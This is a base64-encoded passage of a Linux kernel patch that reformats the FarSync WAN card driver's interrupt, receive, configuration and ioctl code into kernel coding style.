ciAqLwotICAgICAgICBGU1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywg RE1BX09XTiApOwotICAgICAgICBpZiAoICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAgICAg ICAgICAgICAgIHBvcnQtPnJ4cG9zID0gMDsKLSAgICAgICAgZWxzZQotICAgICAgICAgICAgICAg IHBvcnQtPnJ4cG9zID0gcnhwOwotCi0gICAgICAgIC8qIFVwZGF0ZSBzdGF0cyAqLwotICAgICAg ICBwb3J0LT5oZGxjLnN0YXRzLnJ4X3BhY2tldHMrKzsKLSAgICAgICAgcG9ydC0+aGRsYy5zdGF0 cy5yeF9ieXRlcyArPSBsZW47Ci0KLSAgICAgICAgLyogUHVzaCB1cHN0cmVhbSAqLwotICAgICAg ICBza2ItPm1hYy5yYXcgPSBza2ItPmRhdGE7Ci0gICAgICAgIHNrYi0+ZGV2ID0gaGRsY190b19k ZXYgKCAmcG9ydC0+aGRsYyApOwotICAgICAgICBza2ItPnByb3RvY29sID0gaGRsY190eXBlX3Ry YW5zKHNrYiwgc2tiLT5kZXYpOwotICAgICAgICBuZXRpZl9yeCAoIHNrYiApOworCXVuc2lnbmVk IGNoYXIgZG1hYml0czsKKwlpbnQgcGk7CisJaW50IHJ4cDsKKwlpbnQgcnhfc3RhdHVzOworCXVu c2lnbmVkIHNob3J0IGxlbjsKKwlzdHJ1Y3Qgc2tfYnVmZiAqc2tiOworCisJLyogQ2hlY2sgd2Ug aGF2ZSBhIGJ1ZmZlciB0byBwcm9jZXNzICovC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zaW5nICov Ci0gICAgICAgIGludCBwaTsKLQotICAgICAgICBpZiAoKCBjYXJkID0gZGV2X2lkICkgPT0gTlVM TCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5UUiwiaW50cjogc3B1 cmlvdXMgJWRcbiIsIGlycSApOwotICAgICAgICAgICAgICAgIHJldHVybiBJUlFfTk9ORTsKLSAg ICAgICAgfQotCi0gICAgICAgIGRiZyAoIERCR19JTlRSLCJpbnRyOiAlZCAlcFxuIiwgaXJxLCBj YXJkICk7Ci0KLSAgICAgICAgc3Bpbl9sb2NrICggJmNhcmQtPmNhcmRfbG9jayApOwotCi0gICAg ICAgIC8qIENsZWFyIGFuZCByZXByaW1lIHRoZSBpbnRlcnJ1cHQgc291cmNlICovCi0gICAgICAg IGZzdF9jbGVhcl9pbnRyICggY2FyZCApOwotCi0gICAgICAgIC8qIFNldCB0aGUgc29mdHdhcmUg YWNrbm93bGVkZ2UgKi8KLSAgICAgICAgRlNUX1dSQiAoIGNhcmQsIGludGVycnVwdEhhbmRzaGFr ZSwgMHhFRSApOwotCi0gICAgICAgIC8qIERyYWluIHRoZSBldmVudCBxdWV1ZSAqLwotICAgICAg ICByZGlkeCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5yZGluZGV4ICk7Ci0gICAg ICAgIHdyaWR4ID0gRlNUX1JEQiAoIGNhcmQsIGludGVycnVwdEV2ZW50LndyaW5kZXggKTsKLSAg ICAgICAgd2hpbGUgKCByZGlkeCAhPSB3cmlkeCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAg ICBldmVudCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5ldm50YnVmZltyZGlkeF0p OwotCi0gICAgICAgICAgICAgICAgcG9ydCA9ICZjYXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOwot Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX0lOVFIsImludHI6ICV4XG4iLCBldmVudCApOwot Ci0gICAgICAgICAgICAgICAgc3dpdGNoICggZXZlbnQgKQotICAgICAgICAgICAgICAgIHsKLSAg ICAgICAgICAgICAgICBjYXNlIENUTEFfQ0hHOgotICAgICAgICAgICAgICAgIGNhc2UgQ1RMQl9D SEc6Ci0gICAgICAgICAgICAgICAgY2FzZSBDVExDX0NIRzoKLSAgICAgICAgICAgICAgICBjYXNl IENUTERfQ0hHOgotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmc3RfaW50cl9jdGxjaGcgKCBjYXJkLCBwb3J0 ICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNh c2UgQUJUQV9TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJUQl9TRU5UOgotICAgICAgICAg ICAgICAgIGNhc2UgQUJUQ19TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJURF9TRU5UOgot ICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJBYm9ydCBjb21wbGV0ZSBwb3J0 ICVkXG4iLCBldmVudCAmIDB4MDMgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwot Ci0gICAgICAgICAgICAgICAgY2FzZSBUWEFfVU5ERjoKLSAgICAgICAgICAgICAgICBjYXNlIFRY Ql9VTkRGOgotICAgICAgICAgICAgICAgIGNhc2UgVFhDX1VOREY6Ci0gICAgICAgICAgICAgICAg Y2FzZSBUWERfVU5ERjoKLSAgICAgICAgICAgICAgICAgICAgICAgIC8qIERpZmZpY3VsdCB0byBz ZWUgaG93IHdlJ2QgZ2V0IHRoaXMgZ2l2ZW4gdGhhdCB3ZQotICAgICAgICAgICAgICAgICAgICAg ICAgICogYWx3YXlzIGxvYWQgdXAgdGhlIGVudGlyZSBwYWNrZXQgZm9yIERNQS4KLSAgICAgICAg ICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX1RY LCJUeCB1bmRlcmZsb3cgcG9ydCAlZFxuIiwgZXZlbnQgJiAweDAzICk7Ci0gICAgICAgICAgICAg ICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAg ICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy50eF9maWZvX2Vycm9ycysrOwotICAgICAgICAgICAg ICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAgICAgICAgICAgICBjYXNlIElOSVRfQ1BMVDoKLSAg ICAgICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19JTklULCJDYXJkIGluaXQgT0sgaW50clxu Iik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNh c2UgSU5JVF9GQUlMOgotICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lOSVQsIkNh cmQgaW5pdCBGQUlMRUQgaW50clxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5z dGF0ZSA9IEZTVF9JRkFJTEVEOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAg ICAgICAgICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRrX2Vy ciAoImludHI6IHVua25vd24gY2FyZCBldmVudCBjb2RlLiBpZ25vcmVkXG4iKTsKLSAgICAgICAg ICAgICAgICAgICAgICAgIGJyZWFrOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAg ICAgIC8qIEJ1bXAgYW5kIHdyYXAgdGhlIGluZGV4ICovCi0gICAgICAgICAgICAgICAgaWYgKCAr K3JkaWR4ID49IE1BWF9DSVJCVUZGICkKLSAgICAgICAgICAgICAgICAgICAgICAgIHJkaWR4ID0g MDsKLSAgICAgICAgfQotICAgICAgICBGU1RfV1JCICggY2FyZCwgaW50ZXJydXB0RXZlbnQucmRp bmRleCwgcmRpZHggKTsKLQotICAgICAgICBmb3IgKCBwaSA9IDAsIHBvcnQgPSBjYXJkLT5wb3J0 cyA7IHBpIDwgY2FyZC0+bnBvcnRzIDsgcGkrKywgcG9ydCsrICkKLSAgICAgICAgewotICAgICAg ICAgICAgICAgIGlmICggISBwb3J0LT5ydW4gKQotICAgICAgICAgICAgICAgICAgICAgICAgY29u dGludWU7Ci0KLSAgICAgICAgICAgICAgICAvKiBDaGVjayBmb3IgcnggY29tcGxldGlvbnMgKi8K LSAgICAgICAgICAgICAgICB3aGlsZSAoICEgKCBGU1RfUkRCICggY2FyZCwgcnhEZXNjclJpbmdb cGldW3BvcnQtPnJ4cG9zXS5iaXRzICkKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAmIERNQV9PV04gKSkKLSAgICAgICAgICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBmc3RfaW50cl9yeCAoIGNhcmQsIHBvcnQg KTsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAgICAgICAvKiBDaGVjayBmb3IgVHgg Y29tcGxldGlvbnMgKi8KLSAgICAgICAgICAgICAgICB3aGlsZSAoIHBvcnQtPnR4Y250ID4gMCAm JiAhICggRlNUX1JEQiAoIGNhcmQsCi0gICAgICAgICAgICAgICAgICAgICAgICB0eERlc2NyUmlu Z1twaV1bcG9ydC0+dHhpcG9zXS5iaXRzICkgJiBETUFfT1dOICkpCi0gICAgICAgICAgICAgICAg ewotICAgICAgICAgICAgICAgICAgICAgICAgLS1wb3J0LT50eGNudDsKLSAgICAgICAgICAgICAg ICAgICAgICAgIGlmICggKytwb3J0LT50eGlwb3MgPj0gTlVNX1RYX0JVRkZFUiApCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnR4aXBvcyA9IDA7Ci0gICAgICAgICAgICAg ICAgICAgICAgICBuZXRpZl93YWtlX3F1ZX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U1RfQkFEVkVSU0lPTjsKLSAg ICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCBGU1RfUkRMICgg Y2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUgKSAhPSBFTkRfU0lHICkKLSAgICAgICAgewotICAgICAg ICAgICAgICAgIHByaW50a19lcnIgKCJNaXNzaW5nIHNoYXJlZCBtZW1vcnkgc2lnbmF0dXJlXG4i KTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9CQURWRVJTSU9OOwotICAgICAg ICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICAvKiBGaXJtd2FyZSBzdGF0dXMg ZmxhZywgMHgwMCA9IGluaXRpYWxpc2luZywgMHgwMSA9IE9LLCAweEZGID0gZmFpbCAqLwotICAg ICAgICBpZiAoKCBpID0gRlNUX1JEQiAoIGNhcmQsIHRhc2tTdGF0dXMgKSkgPT0gMHgwMSApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9SVU5OSU5HOwotICAg ICAgICB9Ci0gICAgICAgIGVsc2UgaWYgKCBpID09IDB4RkYgKQotICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgcHJpbnRrX2VyciAoIkZpcm13YXJlIGluaXRpYWxpc2F0aW9uIGZhaWxlZC4gQ2Fy ZCBoYWx0ZWRcbiIpOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX0hBTFRFRDsK LSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAgICAgZWxzZSBpZiAoIGkg IT0gMHgwMCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiVW5rbm93 biBmaXJtd2FyZSBzdGF0dXMgMHgleFxuIiwgaSApOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICA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W9uIGFzIHZhbGlkIGlmIGNhcmQgaXMgcnVu bmluZy4KLSAgICAgICAgICogQ29weSB0aGUgZGF0YSBhbnl3YXkgaW4gY2FzZSBpdCBpcyB1c2Vm dWwgZm9yIGRpYWdub3N0aWNzCi0gICAgICAgICAqLwotICAgICAgICBpbmZvLT52YWxpZAotICAg ICAgICAgICAgICAgID0gKCggY2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcgKSA/IEZTVFZBTF9B TEwgOiBGU1RWQUxfQ0FSRCApCisJLyogT25seSBtYXJrIGluZm9ybWF0aW9uIGFzIHZhbGlkIGlm IGNhcmQgaXMgcnVubmluZy4KKwkgKiBDb3B5IHRoZSBkYXRhIGFueXdheSBpbiBjYXNlIGl0IGlz IHVzZWZ1bCBmb3IgZGlhZ25vc3RpY3MKKwkgKi8KKwlpbmZvLT52YWxpZCA9ICgoY2FyZC0+c3Rh dGUgPT0gRlNUX1JVTk5JTkcpID8gRlNUVkFMX0FMTCA6IEZTVFZBTF9DQVJEKQogI2lmIEZTVF9E RUJVRwotICAgICAgICAgICAgICAgIHwgRlNUVkFMX0RFQlVHCisJICAgIHwgRlNUVkFMX0RFQlVH CiAjZW5kaWYKLSAgICAgICAgICAgICAgICA7CisJICAgIDsKIAotICAgICAgICBpbmZvLT5saW5l SW50ZXJmYWNlID0gRlNUX1JEVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSAp OwotICAgICAgICBpbmZvLT5pbnRlcm5hbENsb2NrID0gRlNUX1JEQiAoIGNhcmQsIHBvcnRDb25m aWdbaV0uaW50ZXJuYWxDbG9jayApOwotICAgICAgICBpbmZvLT5saW5lU3BlZWQgICAgID0gRlNU X1JETCAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkICk7Ci0gICAgICAgIGluZm8tPnYy NElwU3RzICAgICAgPSBGU1RfUkRMICggY2FyZCwgdjI0SXBTdHNbaV0gKTsKLSAgICAgICAgaW5m by0+djI0T3BTdH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icmVhazsKKworCWNhc2UgSUZfSUZBQ0VfRTE6CisJCUZTVF9X UlcoY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBFMSk7CisJCXBvcnQtPmh3aWYg PSBFMTsKKwkJYnJlYWs7CisKKwljYXNlIElGX0lGQUNFX1NZTkNfU0VSSUFMOgorCQlicmVhazsK IAotICAgICAgICBpZiAoY29weV9mcm9tX3VzZXIgKCZzeW5jLCBpZnItPmlmcl9zZXR0aW5ncy5p ZnNfaWZzdS5zeW5jLAotCQkJICAgIHNpemVvZiAoc3luYykpKQotICAgICAgICAgICAgICAgIHJl dHVybiAtRUZBVUxUOwotCi0gICAgICAgIGlmICggc3luYy5sb29wYmFjayApCi0gICAgICAgICAg ICAgICAgcmV0dXJuIC1FSU5WQUw7Ci0KLSAgICAgICAgaSA9IHBvcnQtPmluZGV4OwotCi0gICAg ICAgIHN3aXRjaCAoaWZyLT5pZnJfc2V0dGluZ3MudHlwZSkKLSAgICAgICAgewotICAgICAgICBj YXNlIElGX0lGQUNFX1YzNToKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgcG9ydENv bmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBWMzUgKTsKLSAgICAgICAgICAgICAgICBwb3J0LT5od2lm ID0gVjM1OwotICAgICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGNhc2UgSUZfSUZBQ0Vf VjI0OgotICAgICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJ bnRlcmZhY2UsIFYyNCApOwotICAgICAgICAgICAgICAgIHBvcnQtPmh3aWYgPSBWMjQ7Ci0gICAg ICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAgICAgY2FzZSBJRl9JRkFDRV9YMjE6Ci0gICAgICAg ICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSwgWDIx ICk7Ci0gICAgICAgICAgICAgICAgcG9ydC0+aHdpZiA9IFgyMTsKLSAgICAgICAgICAgICAgICBi cmVhazsKLQotICAgICAgICBjYXNlIElGX0lGQUNFX1NZTkNfU0VSSUFMOgotICAgICAgICAgICAg ICAgIGJyZWFrOwotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAgICAgICAgcmV0dXJuIC1F SU5WQUw7Ci0gICAgICAgIH0KLQotICAgICAgICBzd2l0Y2ggKCBzeW5jLmNsb2NrX3R5cGUgKQot ICAgICAgICB7Ci0gICAgICAgIGNhc2UgQ0xPQ0tfRVhUOgotICAgICAgICAgICAgICAgIEZTVF9X UkIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyApOwotICAgICAg ICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGNhc2UgQ0xPQ0tfSU5UOgotICAgICAgICAgICAg ICAgIEZTVF9XUkIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIElOVENMSyAp OwotICAgICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAg ICAgICAgcmV0dXJuIC1FSU5WQUw7Ci0gICAgICAgIH0KLSAgICAgICAgRlNUX1dSTCAoIGNhcmQs IHBvcnRDb25maWdbaV0ubGluZVNwZWVkLCBzeW5jLmNsb2NrX3JhdGUgKTsKLSAgICAgICAgcmV0 dXJuIDA7CisJZGVmYXVsdDoKKwkJcmV0dXJuIC1FSU5WQUw7CisJfQorCisJc3dpdGNoIChzeW5j LmNsb2NrX3R5cGUpIHsKKwljYXNlIENMT0NLX0VYVDoKKwkJRlNUX1dSQihjYXJkLCBwb3J0Q29u ZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyk7CisJCWJyZWFrOworCisJY2FzZSBDTE9DS19J TlQ6CisJCUZTVF9XUkIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBJTlRDTEsp OworCQlicmVhazsKKworCWRlZmF1bHQ6CisJCXJldHVybiAtRUlOVkFMOworCX0KKwlGU1RfV1JM KGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkLCBzeW5jLmNsb2NrX3JhdGUpOworCXJldHVy biAwOwogfQogCiBzdGF0aWMgaW50Ci1mc3RfZ2V0X2lmYWNlICggc3RydWN0IGZzdF9jYXJkX2lu Zm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAotICAgICAgICAgICAgICAgIHN0 cnVjdCBpZnJlcSAqaWZyICkKK2ZzdF9nZXRfaWZhY2Uoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNh cmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCSAgICAgIHN0cnVjdCBpZnJlcSAqaWZy KQogewotICAgICAgICBzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOwotICAgICAgICBpbnQgaTsK KwlzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOworCWludCBpOwogCi0gICAgICAgIC8qIEZpcnN0 IGNoZWNrIHdoYXQgbGluZSB0eXBlIGlzIHNldCwgd2UnbGwgZGVmYXVsdCB0byByZXBvcnRpbmcg WC4yMQotICAgICAgICAgKiBpZiBub3RoaW5nIGlzIHNldCBhcyBJRl9JRkFDRV9TWU5DX1NFUklB TCBpbXBsaWVzIGl0IGNhbid0IGJlCi0gICAgICAgICAqIGNoYW5nZWQKLSAgICAgICAgICovCi0g ICAgICAgIHN3aXRjaCAoIHBvcnQtPmh3aWYgKQotICAgICAgICB7Ci0gICAgICAgIGNhc2UgVjM1 OgotICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9WMzU7 Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIGNhc2UgVjI0OgotICAgICAgICAgICAg ICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUg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ci0gICAgICAgICAgICAgICAgZnN0X2NwdXJl c2V0ICggY2FyZCApOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX1JFU0VUOwot ICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNhc2UgRlNUQ1BVUkVMRUFTRToK LSAgICAgICAgICAgICAgICBmc3RfY3B1cmVsZWFzZSAoIGNhcmQgKTsKLSAgICAgICAgICAgICAg ICBjYXJkLT5zdGF0ZSA9IEZTVF9TVEFSVElORzsKLSAgICAgICAgICAgICAgICByZXR1cm4gMDsK LQotICAgICAgICBjYXNlIEZTVFdSSVRFOiAgICAgICAgICAgICAgICAgIC8qIENvZGUgd3JpdGUg KGRvd25sb2FkKSAqLwotCi0gICAgICAgICAgICAgICAgLyogRmlyc3QgY29weSBpbiB0aGUgaGVh ZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEKLSAgICAgICAgICAgICAgICAg KiB0byB3cml0ZQotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggaWZy LT5pZnJfZGF0YSA9PSBOVUxMICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAg ICAgICAgICByZXR1cm4gLUVJTlZBTDsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAg ICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoICZ3cnRoZHIsIGlmci0+aWZyX2RhdGEsCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZW9mICggc3RydWN0IGZzdGlvY193 cml0ZSApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1 cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAgICAgICAvKiBTYW5p dHkgY2hlY2sgdGhlIHBhcmFtZXRlcnMuIFdlIGRvbid0IHN1cHBvcnQgcGFydGlhbCB3cml0ZXMK LSAgICAgICAgICAgICAgICAgKiB3aGVuIGdvaW5nIG92ZXIgdGhlIHRvcAotICAgICAgICAgICAg ICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggd3J0aGRyLnNpemUgPiBGU1RfTUVNU0laRSB8 fCB3cnRoZHIub2Zmc2V0ID4gRlNUX01FTVNJWkUKLQkJCQl8fCB3cnRoZHIuc2l6ZSArIHdydGhk ci5vZmZzZXQgPiBGU1RfTUVNU0laRSApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAg ICAgICAgICAgICAgcmV0dXJuIC1FTlhJTzsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAg ICAgICAgICAvKiBOb3cgY29weSB0aGUgZGF0YSB0byB0aGUgY2FyZC4KLSAgICAgICAgICAgICAg ICAgKiBUaGlzIHdpbGwgcHJvYmFibHkgYnJlYWsgb24gc29tZSBhcmNoaXRlY3R1cmVzLgotICAg ICAgICAgICAgICAgICAqIEknbGwgZml4IGl0IHdoZW4gSSBoYXZlIHNvbWV0aGluZyB0byB0ZXN0 IG9uLgotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggY29weV9mcm9t X3VzZXIgKCBjYXJkLT5tZW0gKyB3cnRoZHIub2Zmc2V0LAotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBpZnItPmlmcl9kYXRhICsgc2l6ZW9mICggc3RydWN0IGZzdGlvY193cml0ZSAp LAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3cnRoZHIuc2l6ZSApKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUZBVUxUOwotICAg ICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIFdyaXRlcyB0byB0aGUgbWVtb3J5 IG9mIGEgY2FyZCBpbiB0aGUgcmVzZXQgc3RhdGUgY29uc3RpdHV0ZQotICAgICAgICAgICAgICAg ICAqIGEgZG93bmxvYWQKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBpZiAo IGNhcmQtPnN0YXRlID09IEZTVF9SRVNFVCApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAg ICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBGU1RfRE9XTkxPQUQ7Ci0gICAgICAgICAgICAg ICAgfQotICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNhc2UgRlNUR0VUQ09O RjoKLQotICAgICAgICAgICAgICAgIC8qIElmIGNhcmQgaGFzIGp1c3QgYmVlbiBzdGFydGVkIGNo ZWNrIHRoZSBzaGFyZWQgbWVtb3J5IGNvbmZpZwotICAgICAgICAgICAgICAgICAqIHZlcnNpb24g YW5kIG1hcmtlcgotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggY2Fy ZC0+c3RhdGUgPT0gRlNUX1NUQVJUSU5HICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgICAgICAgICBjaGVja19zdGFydGVkX29rICggY2FyZCApOwotCi0gICAgICAgICAgICAg ICAgICAgICAgICAvKiBJZiBldmVyeXRoaW5nIGNoZWNrZWQgb3V0IGVuYWJsZSBjYXJkIGludGVy cnVwdHMgKi8KLSAgICAgICAgICAgICAgICAgICAgICAgIGlmICggY2FyZC0+c3RhdGUgPT0gRlNU X1JVTk5JTkcgKQotICAgICAgICAgICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBzcGluX2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdz ICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9jbGVhcl9pbnRyICggY2Fy ZCApOwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgaW50 ZXJydXB0SGFuZHNoYWtlLCAweEVFICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IHNwaW5fdW5sb2NrX2lycXJlc3RvcmUgKCAmY2FyZC0+Y2FyZF9sb2NrLAotICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZsYWdz ICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgfQotCi0gICAg ICAgICAgICAgICAgaWYgKCBpZnItPmlmcl9kYXRhID09IE5VTEwgKQotICAgICAgICAgICAgICAg IHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAgICAgICAg ICAgIH0KLQotICAgICAgICAgICAgICAgIGdhdGhlcl9jb25mX2luZm8gKCBjYXJkLCBwb3J0LCAm aW5mbyApOwotCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X3RvX3VzZXIgKCBpZnItPmlmcl9k YXRhLCAmaW5mbywgc2l6ZW9mICggaW5mbyApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAgICB9Ci0gICAg ICAgICAgICAgICAgcmV0dXJuIDA7Ci0KLSAgICAgICAgY2FzZSBGU1RTRVRDT05GOgotCi0gICAg ICAgICAgICAgICAgLyogTW9zdCBvZiB0aGUgc2V0dGluZyBoYXZlIGJlZW4gbW92ZWQgdG8gdGhl IGdlbmVyaWMgaW9jdGxzCi0gICAgICAgICAgICAgICAgICogdGhpcyBqdXN0IGNvdmVycyBkZWJ1 ZyBhbmQgYm9hcmQgaWRlbnQgbW9kZSBub3cKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAg ICAgICAgICBpZiAoIGNvcHlfZnJvbV91c2VyICggJmluZm8sICBpZnItPmlmcl9kYXRhLCBzaXpl b2YgKCBpbmZvICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAg IHJldHVybiAtRUZBVUxUOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIHJl dHVybiBzZXRfY29uZl9mcm9tX2luZm8gKCBjYXJkLCBwb3J0LCAmaW5mbyApOwotCi0gICAgICAg IGNhc2UgU0lPQ1dBTkRFVjoKLSAgICAgICAgICAgICAgICBzd2l0Y2ggKGlmci0+aWZyX3NldHRp bmdzLnR5cGUpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgIGNhc2UgSUZfR0VU X0lGQUNFOgotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZzdF9nZXRfaWZhY2UgKCBj YXJkLCBwb3J0LCBpZnIgKTsKLQotICAgICAgICAgICAgICAgIGNhc2UgSUZfSUZBQ0VfU1lOQ19T RVJJQUw6Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMzU6Ci0gICAgICAgICAgICAg ICAgY2FzZSBJRl9JRkFDRV9WMjQ6Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9YMjE6 Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnN0X3NldF9pZmFjZSAoIGNhcmQsIHBv cnQsIGlmciApOwotCi0gICAgICAgICAgICAgICAgZGVmYXVsdDoKLSAgICAgICAgICAgICAgICAg ICAgICAgIHJldHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwotICAgICAgICAgICAg ICAgIH0KLQotICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIC8qIE5vdCBvbmUgb2Yg b3Vycy4gUGFzcyB0aHJvdWdoIHRvIEhETEMgcGFja2FnZSAqLwotICAgICAgICAgICAgICAgIHJl 